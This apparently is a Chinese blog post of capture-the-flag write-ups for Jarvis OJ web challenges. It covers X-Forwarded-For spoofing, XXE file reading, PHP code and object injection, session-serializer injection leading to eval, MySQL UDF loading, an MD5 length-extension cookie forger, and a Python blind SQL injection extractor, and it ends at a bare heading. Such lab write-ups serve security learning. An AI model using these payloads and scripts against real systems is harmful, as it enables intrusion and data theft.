LOCALHOST
套路题,构造headers中加上x-forwarded-for=127.0.0.1
即可
PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
- 1
PORT51
访问了页面发现让你
Please use port 51 to visit this site.
- 1
明显是绑定的端口,不可能用51端口去访问啊,很困惑结果是自己去访问的时候需要用到51端口啊…原来如此,使用curl中的–local-port命令
--local-port <端口号>[-num]设置连接使用的首选端口号或本地端口范围。请注意,端口号是一种稀缺资源,繁忙时,请将端口范围缩小来避免不必要的连接失败。(在7.15.2版加入)
- 1
- 2
- 3
- 4
- 5
构造payload如下
sudo curl --local-port 51 http://web.jarvisoj.com:32770/
- 1
得到结果
PCTF{M45t3r_oF_CuRl}
- 1
api调用
目录扫一下没什么特别的东西,看一下源码发现了关键代码
<script>function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; }function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}');}</script>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
审核完代码没有发现什么东西,一个AJXA异步post上传,也没看出什么,看了题解后才明白是XXE实体上传漏洞,原来对这个漏洞也是闻所未闻,所以后面专门记录一下吧
我们直接讲利用,看到原本的post包是这样的
大概讲一下XXE漏洞就是利用xml中的entity实体读取文件。
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局变量
- 1
- 2
* 就是利用post过去的xml实体,构造有特定功能的xml来达到目的!*
这里我们利用xxe漏洞首先需要修改Content-Type为application/xml
,即传递类型为xml格式,然后修改post值为
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
完成攻击
CTF{XxE_15_n0T_S7range_Enough}
- 1
admin
首先扫一下代码,发现存在robots.txt,代开看一下
访问后发现一个假flag
然后抓包发现奥义,修改一下cookie
flag{hello_admin~}
- 1
WEB?
直到最后作出这道题目我的脑子都是蒙蔽的,这根本不像WEB…
首先扫了一下目录,毛线都没的…然后看源码,发现有一个app.js比较可疑,然后用chrome的source看一下,但是这代码也太多了…
不管,用burp截包看一下,猛一下精神一振
别急,菊花一紧没卵用,该cookie是没用的,复制Wrong Password!!
去app.js上找一下!发现了什么
没错,这个和checkpass这个函数脱不了干系!继续搜索checkpass,先是看到
r.checkpass = function() { var e; return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments) }
- 1
- 2
- 3
- 4
继续搜索看到真正的检验代码
function(e) { if (25 !== e.length) return !1; for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n)); for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) { for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a]; if (i !== r[n]) return !1 } return !0 }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
瞬间脑子就炸了,这不是密码嘛…但是细看没那么恐怖…起始就是25元1维方程组…当然我自己写不出来,但是python1的numpy库中有这样的函数啊,直接怼脚本吧…
#coding:utf-8import numpyx=[[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]x=numpy.array(x) #xi shuy=[325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]y=numpy.array(y)z=numpy.linalg.solve(x,y)flag = ''for i in z: flag+=chr(int(round(i)))print flag
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
QWB{R3ac7_1s_interesting}
- 1
babyphp
首先进入网站,一看就是个模板,猜测是源码泄漏,用工具扫一下,发现是git源码泄漏,默默掏出工具Githack下载源码
然后发现想要的flag就在templates/flag.php中,而且有意思的是index.php存在明显的代码注入!
然后我尝试了几种方法
http://web.jarvisoj.com:32798/?page='.system("tac templates/flag.php").'http://web.jarvisoj.com:32798/?page=' and die(show_source('templates/flag.php')) or 'http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//
- 1
- 2
- 3
- 4
- 5
61dctf{8e_careful_when_us1ng_ass4rt}
- 1
题目本身是caws2016的题目,也很有意思。
Login
首先看到题目截取包发现header中存在hint
这个是pctf中的一道原题,需要的是绕过一下一句sql
Hint: "select * from `admin` where password='".md5($pass,true)."'"
- 1
要点是利用了md5和sql语句可以利用16进制的特性,构造特殊的项查找注入,结果可以找到如下ffifdyop
,转换成md5进制后成了276f722736c95d99e921722cf9ed621c
,再转成字符串: 'or'6<trash>
然后就好办了
PCTF{R4w_md5_is_d4ng3rous}
- 1
[61dctf]inject
提示找到源码,就是源码泄漏,工具小子一发
轻松得到源码
<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
发现sql语句,但是还发现存在一个不知名的Filter函数过滤,只能硬着头皮试了,首先我们分析,问题1,如何绕过?我们看到关键代码如下
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";
- 1
- 2
在这里需要普及一下desc的语法允许传入两个参数!
{DESCRIBE | DESC} tbl_name [col_name | wild]
而且在普通的sql中,连续的两个`相当于一个空格(类似分隔符号),这样我们可以构造注入,当然因为要第一句成功,搜索的table必须存在,在第二句为了输出我们想要的,需要查询的第一部分失效!payload如下
test` ` where 1=2 union select 1
- 1
注入成功!我们注入后执行的语句如下!
desc `secret_test` ` where 1=2 union select 1`select 'flag{xxx}' from secret_test` ` where 1=2 union select 1
- 1
- 2
接着就是套路了,幸好本题没什么过滤…爆table
http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select table_NAME from information_schema.tables limit 0,1
- 1
爆cloumn
http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select column_NAME from information_schema.columns limit 0,1
- 1
查flag
http://web.jarvisoj.com:32794/?table=test` ` where 1=2 union select flagUwillNeverKnow from secret_flag
- 1
flag{luckyGame~}
- 1
还是值得一提的desc这个,居然支持通配符字符 “%” 和 “_”,部分时候可以考虑用它爆列表名!
mysql> desc flag f___;+-------+--------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| flag | varchar(200) | YES | | NULL | |+-------+--------------+------+-----+---------+-------+1 row in set (0.00 sec)mysql> desc flag ____;+-------+--------------+------+-----+---------+-------+| Field | Type | Null | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| flag | varchar(200) | YES | | NULL | |+-------+--------------+------+-----+---------+-------+1 row in set (0.01 sec)mysql> desc flag a___;Empty set (0.00 sec)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
详细的可以看Veneno师傅的文章
http://www.venenof.com/index.php/archives/380/
神盾局的秘密
这是个老题目了,首先扫目录无果,查看源码很快发现showimg.php文件了,观察它的url构造,很像是一个文件包含啊,当然我们现在不知道有什么文件(除了哪个神盾图,应该没用),不妨看一下showimg.php自己能否成功,发现了源代码
<?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } }?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
发现过滤了pctf这个关键词,实验之后发现了pctf.php文件,但是有什么错误…应该还没完
然后发现没什么线索了,发现疏漏了查一下index.php的源代码!
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile();?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
差点忘记了,每次都是自动跳转的!然后还看到了有一个shield.php,查看一下!
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } }?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
发现sheild.php中并没有过滤pctf字段啊,可以利用,再看index.php中可以利用class控制输入!
构造payload如下
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
- 1
得到flag
PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
- 1
PHPINFO
上来直接了当看到源代码
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
这个利用的是php的session解析不同导致的注入,首先我们看一下session序列化和反序列化的三种形式
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
我们可以看到php只是比php_serialize序列化多出了一个键名 + 竖线 ,键名可以是空的,那么我们只需要多加一个|
就可以完成代码注入,我们做一个小实验,构造两个文件index.php和flag.php,其代码如下
//index.php<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["OowoO"]=$_GET["a"]; echo $_SESSION["OowoO"];?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
//flag.php <?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
可以看到index.php中为session的输入,形式为php_serialize,而flag.php中解析的形式为php,那么我们构造请求
localhost/index.php?a=|O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "hacker";";}
- 1
看看请求效果
说明代码注入成功了。
继续看本题,但是我们并没有可以输入代码的地方啊,参考了大牛的答案发现可以利用Session Upload Progress
进行上传 参考资料如下
https://secure.php.net/manual/en/session.upload-progress.php
我们构造一个文件,内容为
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>
- 1
- 2
- 3
- 4
- 5
然后用burp截取上传的数据包,然后我们只要修改其中的filename即可完成上传。
在本地创建一个.php文件用于生成我们需要的序列化代码
<?phpini_set('session.serialize_handler', 'php_serialize');class OowoO{ public $mdzz='需要设置的代码'; function __construct() { // $this->mdzz = 'phpinfo();'; } function __destruct() { // echo $this->mdzz; }}$obj = new OowoO();echo serialize($obj);?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
我们尝试一下,构造|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";}
(双引号需要用转义符号转义)返回了spoock,成功!
23333然后继续即可啦!
然后我们查一下网站的根目录在哪
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:35:\"print_r($_SERVER[\"DOCUMENT_ROOT\"]);\";}
- 1
发现是
/opt/lampp/htdocs
,然后看看那里有没有宝贝,然后发现了答案所在的位置
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"print_r(scandir('/opt/lampp/htdocs/'));\";}
- 1
构造得到flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:73:\"show_source(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\");\";}
- 1
这个题目真是太涨姿势了!
CTF{4d96e37f4be998c50aa586de4ada354a}
- 1
RE?
这个题目对弱来说确实是比较新得题目了,没有想到锅这个功能·
首先下载源文件后发现类似逆向得东西,感觉非常困惑,经过学习原来mysql是可以调入.so文件得,然后可以实现函数得引用,下面所使用得命令和方法很简单,主要是接触了一项新功能把~
首先学习到可以添加.so文件到路径/usr/lib/mysql/plugin
中!(环境是ubuntu),然后我们可以用wget下载到该目录,也可以修改权限将下载好得文件放到这里!
然后进入mysql之中,根据提示可以利用help_me函数!利用如下语句!(神奇)
mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
- 1
然后我们查看一下
select help_me();
- 1
然后说答案在getflag中,同样我们构造getflag函数
mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
- 1
然后查看
select getflag();
- 1
PCTF{Interesting_U5er_d3fined_Function}
- 1
flag在管理员手里
首先打开网页发现说管理员才能看到内容,用burp抓包一下发现
发现那个什么role比较奇怪,揭秘后为
s:5:"guest";
改成
s:5:"admin";
果不其然改了之后发现了什么
但是貌似没什么用处,目录扫描一发,发现存在泄露代码!
大概整理了一下代码如下
<!DOCTYPE html><html> <head> <title>Web 350</title> <style type="text/css"> body { background:gray; text-align:center; } </style> </head> <body> <?php $auth = false; $role = "guest"; $salt = ; if (isset($_COOKIE["role"])) { $role = unserialize($_COOKIE["role"]); $hsh = $_COOKIE["hsh"]; if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) { $auth = true; } else { $auth = false; } else {} $s = serialize($role); setcookie('role',$s); $hsh = md5($salt.strrev($s)); setcookie('hsh',$hsh); } if ($auth) { echo "<h3>Welcome Admin. Your flag is " } else { echo "<h3>Only Admin can see the flag!!</h3>"; } ?> </body> </html>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
发现存在hash扩展攻击!因为是倒叙加密得,而且低版本得php在序列化得时候存在%00截断!我们已经知道了$salt+;”tseug”:5:s 的hash值了!然后我们直接想办法攻击!
这里有两种方法,可以看我的博客了!
http://blog.csdn.net/qq_35078631/article/details/70941204
将我文章中的两个利用代码exp.py和my_md5放在一个位置上,然后建立一个新的py文件,自己利用代码,爆破长度!写了一晚上终于写出来了…这个注意写py脚本的时候要用urlencode的格式,不能用chr(0)啥的,在本地py程序测试的时候是可以的…晕菜
# -*- coding: utf-8 -*-import requestsimport urllibimport my_md5import expimport sysdef replace_all(str): return str.replace(':','%3A').replace('"','%22').replace(';','%3b')s1=0xd527473as2=0x22f16374s3=0x739e3d83s4=0xe0e4942fpost_the_pack=requests.Session()for length in range(1,32): #爆破未知长度 secret_admin='x'*length+';"tseug":5:s'+'\x80'+'\x00'*(43-length)+chr((length+12)*8)+'\x00'*7+';"nimda":5:s' r = my_md5.deal_rawInputMsg(secret_admin) inp = r[len(r)/2:] hash=my_md5.run_md5(s1,s2,s3,s4,inp) exp=replace_all('role=s:5:"admin";')+'%00'*7+'%'+str(hex((length+12)*8)[2:])+'%00'*(43-length)+'%80'+replace_all('s:5:"guest";')+';'+'%20hsh='+hash print exp headers={ 'Host': 'web.jarvisoj.com:32778', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Cookie':exp, 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } req=post_the_pack.post('http://web.jarvisoj.com:32778/',headers=headers,timeout=4) print 'this is test '+str(length)+'\n'+req.text
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
发现原来的长度为12
PCTF{H45h_ext3ndeR_i5_easy_to_us3}
- 1
借此机会复习了hash长度扩展攻击.嗯
Simple Injection
发烧了,头晕,没思路,先看了看大神的代码,理了理思路开始做
首先扫描目录,未果,乖乖注入
尝试admin发现存在admin账户
然后在换一个用户会提示账号错误,说明判断的时候账号和密码是分开的。
然后继续尝试
username:admin'#password:任意
- 1
- 2
发现返回时密码错误!也就是说username可以用单引号构造注入!而且没有过滤省略符号#,然后不由地想到了经典的注入如下
mysql> select flag from flag where info='admin';+--------------------+| flag |+--------------------+| flag{flag_is_here} |+--------------------+1 row in set (0.00 sec)mysql> select flag from flag where info='admin'^0^1;Empty set, 2 warnings (0.00 sec)mysql> select flag from flag where info='admin'^1^1;+--------------------+| flag |+--------------------+| flag{flag_is_here} |+--------------------+1 row in set, 2 warnings (0.00 sec)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
自己尝试一下发现并没有过滤^
符号,然后可有构成盲注!继续测试
username:admin' or '1'='1'#password:任意
- 1
- 2
发现是可以的,后面才发现被坑惨了…因为实际上它时过滤了空格的…在后面调试过程中才发现…mdzz….
然后我们准备盲注吧,首先想到实验吧的经典盲注
首先利用post的值判断一下过滤了什么关键函数
username=admin'^(select/**/1)^1#&password=admin
- 1
发现mid、,、()、ascii、=
都没有过滤,但是考虑为了速度利用二分法注入,用ascii、substr进判断,直接上脚本
#_*_ coding:utf-8 _*_import requests,re,stringurl = 'http://web.jarvisoj.com:32787/login.php'headers = { 'Host': 'web.jarvisoj.com:32787', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding':' gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '48', 'Referer': 'http://web.jarvisoj.com:32787/login.php', 'Cookie': 'PHPSESSID=6oucegin4mf14vdvfutlg1tp46', 'Connection':' keep-alive', 'Upgrade-Insecure-Requests': '1'}temp=['']def search2(content,length,l,r): global temp global url global headers #print l,r if l>r : return mid =(l+r)/2 postdata="admin'^(select ascii(substr(%s,%s,1))<=%s)^1#"%(content,str(length),mid) postdata=postdata.replace(' ','/**/') data = {'username':postdata,'password':'admin'} html = requests.post(url,headers=headers,data=data).text.encode('utf-8') text=re.findall(r'<strong>(.*?)</strong>',html,re.S)[0].decode('utf-8') if len(text)==5: search2(content,length,(l+r)/2+1,r) else: if mid<ord(temp[0]): temp[0]=chr(mid) search2(content,length,l,(l+r)/2-1)def get_database(): print 'Geting the database' global temp database='' for length in range(1,50): temp[0]=chr(255) search2('database()',length,30,127) if temp[0]==chr(30): break database+=temp[0] print database #print ord(temp[0]) print 'the database is : ',databasedef get_tables(): global temp print 'Geting the tables' table='' for length in range(1,50): temp[0]=chr(255) search2('(SELECT TABLE_NAME FROM information_schema.TABLES where TABLE_SCHEMA=0x696e6a656374696f6e limit 0,1)',length,30,127) if temp[0]==chr(30): break table+=temp[0] print table print 'the table is : ',tabledef get_columns(): global temp print 'Geting the columns' column='' for length in range(1,50): temp[0]=chr(255) search2('(SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1)',length,30,127) if temp[0]==chr(30): break column+=temp[0] print column print 'the password column is : ',columndef get_password(): global temp print 'Geting the password' password='' for length in range(1,50): temp[0]=chr(255) search2('(SELECT password FROM admin limit 0,1)',length,30,127) if temp[0]==chr(30): break password+=temp[0] print password print 'the password is : ',passwordget_database()get_tables()get_columns()get_password()
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
最后得到password的md5值为334cfb59c9d74849801d5acdcfdaadc3
,去md5解密得到密码,登陆后得到flag
CTF{s1mpl3_1nJ3ction_very_easy!!}
- 1
Easy Gallery
